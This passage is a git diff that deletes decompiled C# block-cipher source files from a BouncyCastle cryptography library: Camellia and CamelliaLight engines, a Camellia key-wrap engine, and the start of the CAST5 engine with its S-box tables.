camelliaF2(state, subkey, 12); - camelliaF2(state, subkey, 16); - camelliaF2(state, subkey, 20); - camelliaFLs(state, ke, 4); - camelliaF2(state, subkey, 24); - camelliaF2(state, subkey, 28); - camelliaF2(state, subkey, 32); - (array2 = state)[2] = array2[2] ^ kw[4]; - (array2 = state)[3] = array2[3] ^ kw[5]; - (array2 = state)[0] = array2[0] ^ kw[6]; - (array2 = state)[1] = array2[1] ^ kw[7]; - uint2bytes(state[2], output, outOff); - uint2bytes(state[3], output, outOff + 4); - uint2bytes(state[0], output, outOff + 8); - uint2bytes(state[1], output, outOff + 12); - return 16; - } - - private int processBlock192or256(byte[] input, int inOff, byte[] output, int outOff) - { - uint[] array2; - for (int i = 0; i < 4; i++) - { - state[i] = bytes2uint(input, inOff + i * 4); - uint[] array = (array2 = state); - int num = i; - nint num2 = num; - array[num] = array2[num2] ^ kw[i]; - } - camelliaF2(state, subkey, 0); - camelliaF2(state, subkey, 4); - camelliaF2(state, subkey, 8); - camelliaFLs(state, ke, 0); - camelliaF2(state, subkey, 12); - camelliaF2(state, subkey, 16); - camelliaF2(state, subkey, 20); - camelliaFLs(state, ke, 4); - camelliaF2(state, subkey, 24); - camelliaF2(state, subkey, 28); - camelliaF2(state, subkey, 32); - camelliaFLs(state, ke, 8); - camelliaF2(state, subkey, 36); - camelliaF2(state, subkey, 40); - camelliaF2(state, subkey, 44); - (array2 = state)[2] = array2[2] ^ kw[4]; - (array2 = state)[3] = array2[3] ^ kw[5]; - (array2 = state)[0] = array2[0] ^ kw[6]; - (array2 = state)[1] = array2[1] ^ kw[7]; - uint2bytes(state[2], output, outOff); - uint2bytes(state[3], output, outOff + 4); - uint2bytes(state[0], output, outOff + 8); - uint2bytes(state[1], output, outOff + 12); - return 16; - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (!(parameters is KeyParameter)) - { - throw new ArgumentException("only simple KeyParameter expected."); - } - setKey(forEncryption, ((KeyParameter)parameters).GetKey()); - initialised = true; - } - - public virtual int GetBlockSize() - { - return 16; - } - - public virtual int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (!initialised) - { - throw new InvalidOperationException("Camellia engine not initialised"); - } - Check.DataLength(input, inOff, 16, "input buffer too short"); - Check.OutputLength(output, outOff, 16, "output buffer too short"); - if (_keyIs128) - { - return processBlock128(input, inOff, output, outOff); - } - return processBlock192or256(input, inOff, output, outOff); - } - - public virtual void Reset() - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/CamelliaLightEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/CamelliaLightEngine.cs deleted file mode 100644 index b4db073..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/CamelliaLightEngine.cs +++ /dev/null @@ -1,491 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class CamelliaLightEngine : IBlockCipher -{ - private const int BLOCK_SIZE = 16; - - private bool initialised; - - private bool _keyis128; - - private uint[] subkey = new uint[96]; - - private uint[] kw = new uint[8]; - - private uint[] ke = new uint[12]; - - private uint[] state = new uint[4]; - - private static readonly uint[] SIGMA = new uint[12] - { - 2694735487u, 1003262091u, 3061508184u, 1286239154u, 3337565999u, 3914302142u, 1426019237u, 4057165596u, 283453434u, 3731369245u, - 2958461122u, 3018244605u - }; - - private static readonly byte[] SBOX1 = new byte[256] - { - 112, 130, 44, 236, 179, 39, 192, 229, 228, 133, - 87, 53, 234, 12, 174, 65, 35, 239, 107, 147, - 69, 25, 165, 33, 237, 14, 79, 78, 29, 101, - 146, 189, 134, 184, 175, 143, 124, 235, 31, 206, - 62, 48, 220, 95, 94, 197, 11, 26, 166, 225, - 57, 202, 213, 71, 93, 61, 217, 1, 90, 214, - 81, 86, 108, 77, 139, 13, 154, 102, 251, 204, - 176, 45, 116, 18, 43, 32, 240, 177, 132, 153, - 223, 76, 203, 194, 52, 126, 118, 5, 109, 183, - 169, 49, 209, 23, 4, 215, 20, 88, 58, 97, - 222, 27, 17, 28, 50, 15, 156, 22, 83, 24, - 242, 34, 254, 68, 207, 178, 195, 181, 122, 145, - 36, 8, 232, 168, 96, 252, 105, 80, 170, 208, - 160, 125, 161, 137, 98, 151, 84, 91, 30, 149, - 224, 255, 100, 210, 16, 196, 0, 72, 163, 247, - 117, 219, 138, 3, 230, 218, 9, 63, 221, 148, - 135, 92, 131, 2, 205, 74, 144, 51, 115, 103, - 246, 243, 157, 127, 191, 226, 82, 155, 216, 38, - 200, 55, 198, 59, 129, 150, 111, 75, 19, 190, - 99, 46, 233, 121, 167, 140, 159, 110, 188, 142, - 41, 245, 249, 182, 47, 253, 180, 89, 120, 152, - 6, 106, 231, 70, 113, 186, 212, 37, 171, 66, - 136, 162, 141, 250, 114, 7, 185, 85, 248, 238, - 172, 10, 54, 73, 42, 104, 60, 56, 241, 164, - 64, 40, 211, 123, 187, 201, 67, 193, 21, 227, - 173, 244, 119, 199, 128, 158 - }; - - public virtual string AlgorithmName => "Camellia"; - - public virtual bool IsPartialBlockOkay => false; - - private static uint rightRotate(uint x, int s) - { - return (x >> s) + (x << 32 - s); - } - - private static uint leftRotate(uint x, int s) - { - return (x << s) + (x >> 32 - s); - } - - private static void roldq(int rot, uint[] ki, int ioff, uint[] ko, int ooff) - { - ko[ooff] = (ki[ioff] << rot) | (ki[1 + ioff] >> 32 - rot); - ko[1 + ooff] = (ki[1 + ioff] << rot) | (ki[2 + ioff] >> 32 - rot); - ko[2 + ooff] = (ki[2 + ioff] << rot) | (ki[3 + ioff] >> 32 - rot); - ko[3 + ooff] = (ki[3 + ioff] << rot) | (ki[ioff] >> 32 - rot); - ki[ioff] = ko[ooff]; - ki[1 + ioff] = ko[1 + ooff]; - ki[2 + ioff] = ko[2 + ooff]; - ki[3 + ioff] = ko[3 + ooff]; - } - - private static void decroldq(int rot, uint[] ki, int ioff, uint[] ko, int ooff) - { - ko[2 + ooff] = (ki[ioff] << rot) | (ki[1 + ioff] >> 32 - rot); - ko[3 + ooff] = (ki[1 + ioff] << rot) | (ki[2 + ioff] >> 32 - rot); - ko[ooff] = (ki[2 + ioff] << rot) | (ki[3 + ioff] >> 32 - rot); - ko[1 + ooff] = (ki[3 + ioff] << rot) | (ki[ioff] >> 32 - rot); - ki[ioff] = ko[2 + ooff]; - ki[1 + ioff] = ko[3 + ooff]; - ki[2 + ioff] = ko[ooff]; - ki[3 + ioff] = ko[1 + ooff]; - } - - private static void roldqo32(int rot, uint[] ki, int ioff, uint[] ko, int ooff) - { - ko[ooff] = (ki[1 + ioff] << rot - 32) | (ki[2 + ioff] >> 64 - rot); - ko[1 + ooff] = (ki[2 + ioff] << rot - 32) | (ki[3 + ioff] >> 64 - rot); - ko[2 + ooff] = (ki[3 + ioff] << rot - 32) | (ki[ioff] >> 64 - rot); - ko[3 + ooff] = (ki[ioff] << rot - 32) | (ki[1 + ioff] >> 64 - rot); - ki[ioff] = ko[ooff]; - ki[1 + ioff] = ko[1 + ooff]; - ki[2 + ioff] = ko[2 + ooff]; - ki[3 + ioff] = ko[3 + ooff]; - } - - private static void decroldqo32(int rot, uint[] ki, int ioff, uint[] ko, int ooff) - { - ko[2 + ooff] = (ki[1 + ioff] << rot - 32) | (ki[2 + ioff] >> 64 - rot); - ko[3 + ooff] = (ki[2 + ioff] << rot - 32) | (ki[3 + ioff] >> 64 - rot); - ko[ooff] = (ki[3 + ioff] << rot - 32) | (ki[ioff] >> 64 - rot); - ko[1 + ooff] = (ki[ioff] << rot - 32) | (ki[1 + ioff] >> 64 - rot); - ki[ioff] = ko[2 + ooff]; - ki[1 + ioff] = ko[3 + ooff]; - ki[2 + ioff] = ko[ooff]; - ki[3 + ioff] = ko[1 + ooff]; - } - - private static uint bytes2uint(byte[] src, int offset) - { - uint num = 0u; - for (int i = 0; i < 4; i++) - { - num = (num << 8) + src[i + offset]; - } - return num; - } - - private static void uint2bytes(uint word, byte[] dst, int offset) - { - for (int i = 0; i < 4; i++) - { - dst[3 - i + offset] = (byte)word; - word >>= 8; - } - } - - private byte lRot8(byte v, int rot) - { - return (byte)((v << rot) | (v >>> 8 - rot)); - } - - private uint sbox2(int x) - { - return lRot8(SBOX1[x], 1); - } - - private uint sbox3(int x) - { - return lRot8(SBOX1[x], 7); - } - - private uint sbox4(int x) - { - return SBOX1[lRot8((byte)x, 1)]; - } - - private void camelliaF2(uint[] s, uint[] skey, int keyoff) - { - uint num = s[0] ^ skey[keyoff]; - uint num2 = sbox4((byte)num); - num2 |= sbox3((byte)(num >> 8)) << 8; - num2 |= sbox2((byte)(num >> 16)) << 16; - num2 |= (uint)(SBOX1[(byte)(num >> 24)] << 24); - uint num3 = s[1] ^ skey[1 + keyoff]; - uint num4 = SBOX1[(byte)num3]; - num4 |= sbox4((byte)(num3 >> 8)) << 8; - num4 |= sbox3((byte)(num3 >> 16)) << 16; - num4 |= sbox2((byte)(num3 >> 24)) << 24; - num4 = leftRotate(num4, 8); - num2 ^= num4; - num4 = leftRotate(num4, 8) ^ num2; - num2 = rightRotate(num2, 8) ^ num4; - uint[] array; - (array = s)[2] = array[2] ^ (leftRotate(num4, 16) ^ num2); - (array = s)[3] = array[3] ^ leftRotate(num2, 8); - num = s[2] ^ skey[2 + keyoff]; - num2 = sbox4((byte)num); - num2 |= sbox3((byte)(num >> 8)) << 8; - num2 |= sbox2((byte)(num >> 16)) << 16; - num2 |= (uint)(SBOX1[(byte)(num >> 24)] << 24); - num3 = s[3] ^ skey[3 + keyoff]; - num4 = SBOX1[(byte)num3]; - num4 |= sbox4((byte)(num3 >> 8)) << 8; - num4 |= sbox3((byte)(num3 >> 16)) << 16; - num4 |= sbox2((byte)(num3 >> 24)) << 24; - num4 = leftRotate(num4, 8); - num2 ^= num4; - num4 = leftRotate(num4, 8) ^ num2; - num2 = rightRotate(num2, 8) ^ num4; - (array = s)[0] = array[0] ^ (leftRotate(num4, 16) ^ num2); - (array = s)[1] = array[1] ^ leftRotate(num2, 8); - } - - private void camelliaFLs(uint[] s, uint[] fkey, int keyoff) - { - uint[] array; - (array = s)[1] = array[1] ^ leftRotate(s[0] & fkey[keyoff], 1); - (array = s)[0] = array[0] ^ (fkey[1 + keyoff] | s[1]); - (array = s)[2] = array[2] ^ (fkey[3 + keyoff] | s[3]); - (array = s)[3] = array[3] ^ leftRotate(fkey[2 + keyoff] & s[2], 1); - } - - private void setKey(bool forEncryption, byte[] key) - { - uint[] array = new uint[8]; - uint[] array2 = new uint[4]; - uint[] array3 = new uint[4]; - uint[] array4 = new uint[4]; - switch (key.Length) - { - case 16: - _keyis128 = true; - array[0] = bytes2uint(key, 0); - array[1] = bytes2uint(key, 4); - array[2] = bytes2uint(key, 8); - array[3] = bytes2uint(key, 12); - array[4] = (array[5] = (array[6] = (array[7] = 0u))); - break; - case 24: - array[0] = bytes2uint(key, 0); - array[1] = bytes2uint(key, 4); - array[2] = bytes2uint(key, 8); - array[3] = bytes2uint(key, 12); - array[4] = bytes2uint(key, 16); - array[5] = bytes2uint(key, 20); - array[6] = ~array[4]; - array[7] = ~array[5]; - _keyis128 = false; - break; - case 32: - array[0] = bytes2uint(key, 0); - array[1] = bytes2uint(key, 4); - array[2] = bytes2uint(key, 8); - array[3] = bytes2uint(key, 12); - array[4] = bytes2uint(key, 16); - array[5] = bytes2uint(key, 20); - array[6] = bytes2uint(key, 24); - array[7] = bytes2uint(key, 28); - _keyis128 = false; - break; - default: - throw new ArgumentException("key sizes are only 16/24/32 bytes."); - } - for (int i = 0; i < 4; i++) - { - array2[i] = array[i] ^ array[i + 4]; - } - camelliaF2(array2, SIGMA, 0); - for (int j = 0; j < 4; j++) - { - uint[] array6; - uint[] array5 = (array6 = array2); - int num = j; - nint num2 = num; - array5[num] = array6[num2] ^ array[j]; - } - camelliaF2(array2, SIGMA, 4); - if (_keyis128) - { - if (forEncryption) - { - kw[0] = array[0]; - kw[1] = array[1]; - kw[2] = array[2]; - kw[3] = array[3]; - roldq(15, array, 0, subkey, 4); - roldq(30, array, 0, subkey, 12); - roldq(15, array, 0, array4, 0); - subkey[18] = array4[2]; - subkey[19] = array4[3]; - roldq(17, array, 0, ke, 4); - roldq(17, array, 0, subkey, 24); - roldq(17, array, 0, subkey, 32); - subkey[0] = array2[0]; - subkey[1] = array2[1]; - subkey[2] = array2[2]; - subkey[3] = array2[3]; - roldq(15, array2, 0, subkey, 8); - roldq(15, array2, 0, ke, 0); - roldq(15, array2, 0, array4, 0); - subkey[16] = array4[0]; - subkey[17] = array4[1]; - roldq(15, array2, 0, subkey, 20); - roldqo32(34, array2, 0, subkey, 28); - roldq(17, array2, 0, kw, 4); - } - else - { - kw[4] = array[0]; - kw[5] = array[1]; - kw[6] = array[2]; - kw[7] = array[3]; - decroldq(15, array, 0, subkey, 28); - decroldq(30, array, 0, subkey, 20); - decroldq(15, array, 0, array4, 0); - subkey[16] = array4[0]; - subkey[17] = array4[1]; - decroldq(17, array, 0, ke, 0); - decroldq(17, array, 0, subkey, 8); - decroldq(17, array, 0, subkey, 0); - subkey[34] = array2[0]; - subkey[35] = array2[1]; - subkey[32] = array2[2]; - subkey[33] = array2[3]; - decroldq(15, array2, 0, subkey, 24); - decroldq(15, array2, 0, ke, 4); - decroldq(15, array2, 0, array4, 0); - subkey[18] = array4[2]; - subkey[19] = array4[3]; - decroldq(15, array2, 0, subkey, 12); - decroldqo32(34, array2, 0, subkey, 4); - roldq(17, array2, 0, kw, 0); - } - return; - } - for (int k = 0; k < 4; k++) - { - array3[k] = array2[k] ^ array[k + 4]; - } - camelliaF2(array3, SIGMA, 8); - if (forEncryption) - { - kw[0] = array[0]; - kw[1] = array[1]; - kw[2] = array[2]; - kw[3] = array[3]; - roldqo32(45, array, 0, subkey, 16); - roldq(15, array, 0, ke, 4); - roldq(17, array, 0, subkey, 32); - roldqo32(34, array, 0, subkey, 44); - roldq(15, array, 4, subkey, 4); - roldq(15, array, 4, ke, 0); - roldq(30, array, 4, subkey, 24); - roldqo32(34, array, 4, subkey, 36); - roldq(15, array2, 0, subkey, 8); - roldq(30, array2, 0, subkey, 20); - ke[8] = array2[1]; - ke[9] = array2[2]; - ke[10] = array2[3]; - ke[11] = array2[0]; - roldqo32(49, array2, 0, subkey, 40); - subkey[0] = array3[0]; - subkey[1] = array3[1]; - subkey[2] = array3[2]; - subkey[3] = array3[3]; - roldq(30, array3, 0, subkey, 12); - roldq(30, array3, 0, subkey, 28); - roldqo32(51, array3, 0, kw, 4); - } - else - { - kw[4] = array[0]; - kw[5] = array[1]; - kw[6] = array[2]; - kw[7] = array[3]; - decroldqo32(45, array, 0, subkey, 28); - decroldq(15, array, 0, ke, 4); - decroldq(17, array, 0, subkey, 12); - decroldqo32(34, array, 0, subkey, 0); - decroldq(15, array, 4, subkey, 40); - decroldq(15, array, 4, ke, 8); - decroldq(30, array, 4, subkey, 20); - decroldqo32(34, array, 4, subkey, 8); - decroldq(15, array2, 0, subkey, 36); - decroldq(30, array2, 0, subkey, 24); - ke[2] = array2[1]; - ke[3] = array2[2]; - ke[0] = array2[3]; - ke[1] = array2[0]; - decroldqo32(49, array2, 0, subkey, 4); - subkey[46] = array3[0]; - subkey[47] = array3[1]; - subkey[44] = array3[2]; - subkey[45] = array3[3]; - decroldq(30, array3, 0, subkey, 32); - decroldq(30, array3, 0, subkey, 16); - roldqo32(51, array3, 0, kw, 0); - } - } - - private int processBlock128(byte[] input, int inOff, byte[] output, int outOff) - { - uint[] array2; - for (int i = 0; i < 4; i++) - { - state[i] = bytes2uint(input, inOff + i * 4); - uint[] array = (array2 = state); - int num = i; - nint num2 = num; - array[num] = array2[num2] ^ kw[i]; - } - camelliaF2(state, subkey, 0); - camelliaF2(state, subkey, 4); - camelliaF2(state, subkey, 8); - camelliaFLs(state, ke, 0); - camelliaF2(state, subkey, 12); - camelliaF2(state, subkey, 16); - camelliaF2(state, subkey, 20); - camelliaFLs(state, ke, 4); - camelliaF2(state, subkey, 24); - camelliaF2(state, subkey, 28); - camelliaF2(state, subkey, 32); - (array2 = state)[2] = array2[2] ^ kw[4]; - (array2 = state)[3] = array2[3] ^ kw[5]; - (array2 = state)[0] = array2[0] ^ kw[6]; - (array2 = state)[1] = array2[1] ^ kw[7]; - uint2bytes(state[2], output, outOff); - uint2bytes(state[3], output, outOff + 4); - uint2bytes(state[0], output, outOff + 8); - uint2bytes(state[1], output, outOff + 12); - return 16; - } - - private int processBlock192or256(byte[] input, int inOff, byte[] output, int outOff) - { - uint[] array2; - for (int i = 0; i < 4; i++) - { - state[i] = bytes2uint(input, inOff + i * 4); - uint[] array = (array2 = state); - int num = i; - nint num2 = num; - array[num] = array2[num2] ^ kw[i]; - } - camelliaF2(state, subkey, 0); - camelliaF2(state, subkey, 4); - camelliaF2(state, subkey, 8); - camelliaFLs(state, ke, 0); - camelliaF2(state, subkey, 12); - camelliaF2(state, subkey, 16); - camelliaF2(state, subkey, 20); - camelliaFLs(state, ke, 4); - camelliaF2(state, subkey, 24); - camelliaF2(state, subkey, 28); - camelliaF2(state, subkey, 32); - camelliaFLs(state, ke, 8); - camelliaF2(state, subkey, 36); - camelliaF2(state, subkey, 40); - camelliaF2(state, subkey, 44); - (array2 = state)[2] = array2[2] ^ kw[4]; - (array2 = state)[3] = array2[3] ^ kw[5]; - (array2 = state)[0] = array2[0] ^ kw[6]; - (array2 = state)[1] = array2[1] ^ kw[7]; - uint2bytes(state[2], output, outOff); - uint2bytes(state[3], output, outOff + 4); - uint2bytes(state[0], output, outOff + 8); - uint2bytes(state[1], output, outOff + 12); - return 16; - } - - public CamelliaLightEngine() - { - initialised = false; - } - - public virtual int GetBlockSize() - { - return 16; - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (!(parameters is KeyParameter)) - { - throw new ArgumentException("only simple KeyParameter expected."); - } - setKey(forEncryption, ((KeyParameter)parameters).GetKey()); - initialised = true; - } - - public virtual int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (!initialised) - { - throw new InvalidOperationException("Camellia engine not initialised"); - } - Check.DataLength(input, inOff, 16, "input buffer too short"); - Check.OutputLength(output, outOff, 16, "output buffer too short"); - if (_keyis128) - { - return processBlock128(input, inOff, output, outOff); - } - return processBlock192or256(input, inOff, output, outOff); - } - - public virtual void Reset() - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/CamelliaWrapEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/CamelliaWrapEngine.cs deleted file mode 100644 index 8110412..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/CamelliaWrapEngine.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Engines; - -public class CamelliaWrapEngine : Rfc3394WrapEngine -{ - public CamelliaWrapEngine() - : base(new CamelliaEngine()) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/Cast5Engine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/Cast5Engine.cs deleted file mode 100644 index 42b84f6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/Cast5Engine.cs +++ /dev/null @@ -1,585 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class Cast5Engine : IBlockCipher -{ - private const int BLOCK_SIZE = 8; - - private static readonly uint[] S1 = new uint[256] - { - 821772500u, 2678128395u, 1810681135u, 1059425402u, 505495343u, 2617265619u, 1610868032u, 3483355465u, 3218386727u, 2294005173u, - 3791863952u, 2563806837u, 1852023008u, 365126098u, 3269944861u, 584384398u, 677919599u, 3229601881u, 4280515016u, 2002735330u, - 1136869587u, 3744433750u, 2289869850u, 2731719981u, 2714362070u, 879511577u, 1639411079u, 575934255u, 717107937u, 2857637483u, - 576097850u, 2731753936u, 1725645000u, 2810460463u, 5111599u, 767152862u, 2543075244u, 1251459544u, 1383482551u, 3052681127u, - 3089939183u, 3612463449u, 1878520045u, 1510570527u, 2189125840u, 2431448366u, 582008916u, 3163445557u, 1265446783u, 1354458274u, - 3529918736u, 3202711853u, 3073581712u, 3912963487u, 3029263377u, 1275016285u, 4249207360u, 2905708351u, 3304509486u, 1442611557u, - 3585198765u, 2712415662u, 2731849581u, 3248163920u, 2283946226u, 208555832u, 2766454743u, 1331405426u, 1447828783u, 3315356441u, - 3108627284u, 2957404670u, 2981538698u, 3339933917u, 1669711173u, 286233437u, 1465092821u, 1782121619u, 3862771680u, 710211251u, - 980974943u, 1651941557u, 430374111u, 2051154026u, 704238805u, 4128970897u, 3144820574u, 2857402727u, 948965521u, 3333752299u, - 2227686284u, 718756367u, 2269778983u, 2731643755u, 718440111u, 2857816721u, 3616097120u, 1113355533u, 2478022182u, 410092745u, - 1811985197u, 1944238868u, 2696854588u, 1415722873u, 1682284203u, 1060277122u, 1998114690u, 1503841958u, 82706478u, 2315155686u, - 1068173648u, 845149890u, 2167947013u, 1768146376u, 1993038550u, 3566826697u, 3390574031u, 940016341u, 3355073782u, 2328040721u, - 904371731u, 1205506512u, 4094660742u, 2816623006u, 825647681u, 85914773u, 2857843460u, 1249926541u, 1417871568u, 3287612u, - 3211054559u, 3126306446u, 1975924523u, 1353700161u, 2814456437u, 2438597621u, 1800716203u, 722146342u, 2873936343u, 1151126914u, - 4160483941u, 2877670899u, 458611604u, 2866078500u, 3483680063u, 770352098u, 2652916994u, 3367839148u, 3940505011u, 3585973912u, - 3809620402u, 718646636u, 2504206814u, 2914927912u, 3631288169u, 2857486607u, 2860018678u, 575749918u, 2857478043u, 718488780u, - 2069512688u, 3548183469u, 453416197u, 1106044049u, 3032691430u, 52586708u, 3378514636u, 3459808877u, 3211506028u, 1785789304u, - 218356169u, 3571399134u, 3759170522u, 1194783844u, 1523787992u, 3007827094u, 1975193539u, 2555452411u, 1341901877u, 3045838698u, - 3776907964u, 3217423946u, 2802510864u, 2889438986u, 1057244207u, 1636348243u, 3761863214u, 1462225785u, 2632663439u, 481089165u, - 718503062u, 24497053u, 3332243209u, 3344655856u, 3655024856u, 3960371065u, 1195698900u, 2971415156u, 3710176158u, 2115785917u, - 4027663609u, 3525578417u, 2524296189u, 2745972565u, 3564906415u, 1372086093u, 1452307862u, 2780501478u, 1476592880u, 3389271281u, - 18495466u, 2378148571u, 901398090u, 891748256u, 3279637769u, 3157290713u, 2560960102u, 1447622437u, 4284372637u, 216884176u, - 2086908623u, 1879786977u, 3588903153u, 2242455666u, 2938092967u, 3559082096u, 2810645491u, 758861177u, 1121993112u, 215018983u, - 642190776u, 4169236812u, 1196255959u, 2081185372u, 3508738393u, 941322904u, 4124243163u, 2877523539u, 1848581667u, 2205260958u, - 3180453958u, 2589345134u, 3694731276u, 550028657u, 2519456284u, 3789985535u, 2973870856u, 2093648313u, 443148163u, 46942275u, - 2734146937u, 1117713533u, 1115362972u, 1523183689u, 3717140224u, 1551984063u - }; - - private static readonly uint[] S2 = new uint[256] - { - 522195092u, 4010518363u, 1776537470u, 960447360u, 4267822970u, 4005896314u, 1435016340u, 1929119313u, 2913464185u, 1310552629u, - 3579470798u, 3724818106u, 2579771631u, 1594623892u, 417127293u, 2715217907u, 2696228731u, 1508390405u, 3994398868u, 3925858569u, - 3695444102u, 4019471449u, 3129199795u, 3770928635u, 3520741761u, 990456497u, 4187484609u, 2783367035u, 21106139u, 3840405339u, - 631373633u, 3783325702u, 532942976u, 396095098u, 3548038825u, 4267192484u, 2564721535u, 2011709262u, 2039648873u, 620404603u, - 3776170075u, 2898526339u, 3612357925u, 4159332703u, 1645490516u, 223693667u, 1567101217u, 3362177881u, 1029951347u, 3470931136u, - 3570957959u, 1550265121u, 119497089u, 972513919u, 907948164u, 3840628539u, 1613718692u, 3594177948u, 465323573u, 2659255085u, - 654439692u, 2575596212u, 2699288441u, 3127702412u, 277098644u, 624404830u, 4100943870u, 2717858591u, 546110314u, 2403699828u, - 3655377447u, 1321679412u, 4236791657u, 1045293279u, 4010672264u, 895050893u, 2319792268u, 494945126u, 1914543101u, 2777056443u, - 3894764339u, 2219737618u, 311263384u, 4275257268u, 3458730721u, 669096869u, 3584475730u, 3835122877u, 3319158237u, 3949359204u, - 2005142349u, 2713102337u, 2228954793u, 3769984788u, 569394103u, 3855636576u, 1425027204u, 108000370u, 2736431443u, 3671869269u, - 3043122623u, 1750473702u, 2211081108u, 762237499u, 3972989403u, 2798899386u, 3061857628u, 2943854345u, 867476300u, 964413654u, - 1591880597u, 1594774276u, 2179821409u, 552026980u, 3026064248u, 3726140315u, 2283577634u, 3110545105u, 2152310760u, 582474363u, - 1582640421u, 1383256631u, 2043843868u, 3322775884u, 1217180674u, 463797851u, 2763038571u, 480777679u, 2718707717u, 2289164131u, - 3118346187u, 214354409u, 200212307u, 3810608407u, 3025414197u, 2674075964u, 3997296425u, 1847405948u, 1342460550u, 510035443u, - 4080271814u, 815934613u, 833030224u, 1620250387u, 1945732119u, 2703661145u, 3966000196u, 1388869545u, 3456054182u, 2687178561u, - 2092620194u, 562037615u, 1356438536u, 3409922145u, 3261847397u, 1688467115u, 2150901366u, 631725691u, 3840332284u, 549916902u, - 3455104640u, 394546491u, 837744717u, 2114462948u, 751520235u, 2221554606u, 2415360136u, 3999097078u, 2063029875u, 803036379u, - 2702586305u, 821456707u, 3019566164u, 360699898u, 4018502092u, 3511869016u, 3677355358u, 2402471449u, 812317050u, 49299192u, - 2570164949u, 3259169295u, 2816732080u, 3331213574u, 3101303564u, 2156015656u, 3705598920u, 3546263921u, 143268808u, 3200304480u, - 1638124008u, 3165189453u, 3341807610u, 578956953u, 2193977524u, 3638120073u, 2333881532u, 807278310u, 658237817u, 2969561766u, - 1641658566u, 11683945u, 3086995007u, 148645947u, 1138423386u, 4158756760u, 1981396783u, 2401016740u, 3699783584u, 380097457u, - 2680394679u, 2803068651u, 3334260286u, 441530178u, 4016580796u, 1375954390u, 761952171u, 891809099u, 2183123478u, 157052462u, - 3683840763u, 1592404427u, 341349109u, 2438483839u, 1417898363u, 644327628u, 2233032776u, 2353769706u, 2201510100u, 220455161u, - 1815641738u, 182899273u, 2995019788u, 3627381533u, 3702638151u, 2890684138u, 1052606899u, 588164016u, 1681439879u, 4038439418u, - 2405343923u, 4229449282u, 167996282u, 1336969661u, 1688053129u, 2739224926u, 1543734051u, 1046297529u, 1138201970u, 2121126012u, - 115334942u, 1819067631u, 1902159161u, 1941945968u, 2206692869u, 1159982321u - }; - - private static readonly uint[] S3 = new uint[256] - { - 2381300288u, 637164959u, 3952098751u, 3893414151u, 1197506559u, 916448331u, 2350892612u, 2932787856u, 3199334847u, 4009478890u, - 3905886544u, 1373570990u, 2450425862u, 4037870920u, 3778841987u, 2456817877u, 286293407u, 124026297u, 3001279700u, 1028597854u, - 3115296800u, 4208886496u, 2691114635u, 2188540206u, 1430237888u, 1218109995u, 3572471700u, 308166588u, 570424558u, 2187009021u, - 2455094765u, 307733056u, 1310360322u, 3135275007u, 1384269543u, 2388071438u, 863238079u, 2359263624u, 2801553128u, 3380786597u, - 2831162807u, 1470087780u, 1728663345u, 4072488799u, 1090516929u, 532123132u, 2389430977u, 1132193179u, 2578464191u, 3051079243u, - 1670234342u, 1434557849u, 2711078940u, 1241591150u, 3314043432u, 3435360113u, 3091448339u, 1812415473u, 2198440252u, 267246943u, - 796911696u, 3619716990u, 38830015u, 1526438404u, 2806502096u, 374413614u, 2943401790u, 1489179520u, 1603809326u, 1920779204u, - 168801282u, 260042626u, 2358705581u, 1563175598u, 2397674057u, 1356499128u, 2217211040u, 514611088u, 2037363785u, 2186468373u, - 4022173083u, 2792511869u, 2913485016u, 1173701892u, 4200428547u, 3896427269u, 1334932762u, 2455136706u, 602925377u, 2835607854u, - 1613172210u, 41346230u, 2499634548u, 2457437618u, 2188827595u, 41386358u, 4172255629u, 1313404830u, 2405527007u, 3801973774u, - 2217704835u, 873260488u, 2528884354u, 2478092616u, 4012915883u, 2555359016u, 2006953883u, 2463913485u, 575479328u, 2218240648u, - 2099895446u, 660001756u, 2341502190u, 3038761536u, 3888151779u, 3848713377u, 3286851934u, 1022894237u, 1620365795u, 3449594689u, - 1551255054u, 15374395u, 3570825345u, 4249311020u, 4151111129u, 3181912732u, 310226346u, 1133119310u, 530038928u, 136043402u, - 2476768958u, 3107506709u, 2544909567u, 1036173560u, 2367337196u, 1681395281u, 1758231547u, 3641649032u, 306774401u, 1575354324u, - 3716085866u, 1990386196u, 3114533736u, 2455606671u, 1262092282u, 3124342505u, 2768229131u, 4210529083u, 1833535011u, 423410938u, - 660763973u, 2187129978u, 1639812000u, 3508421329u, 3467445492u, 310289298u, 272797111u, 2188552562u, 2456863912u, 310240523u, - 677093832u, 1013118031u, 901835429u, 3892695601u, 1116285435u, 3036471170u, 1337354835u, 243122523u, 520626091u, 277223598u, - 4244441197u, 4194248841u, 1766575121u, 594173102u, 316590669u, 742362309u, 3536858622u, 4176435350u, 3838792410u, 2501204839u, - 1229605004u, 3115755532u, 1552908988u, 2312334149u, 979407927u, 3959474601u, 1148277331u, 176638793u, 3614686272u, 2083809052u, - 40992502u, 1340822838u, 2731552767u, 3535757508u, 3560899520u, 1354035053u, 122129617u, 7215240u, 2732932949u, 3118912700u, - 2718203926u, 2539075635u, 3609230695u, 3725561661u, 1928887091u, 2882293555u, 1988674909u, 2063640240u, 2491088897u, 1459647954u, - 4189817080u, 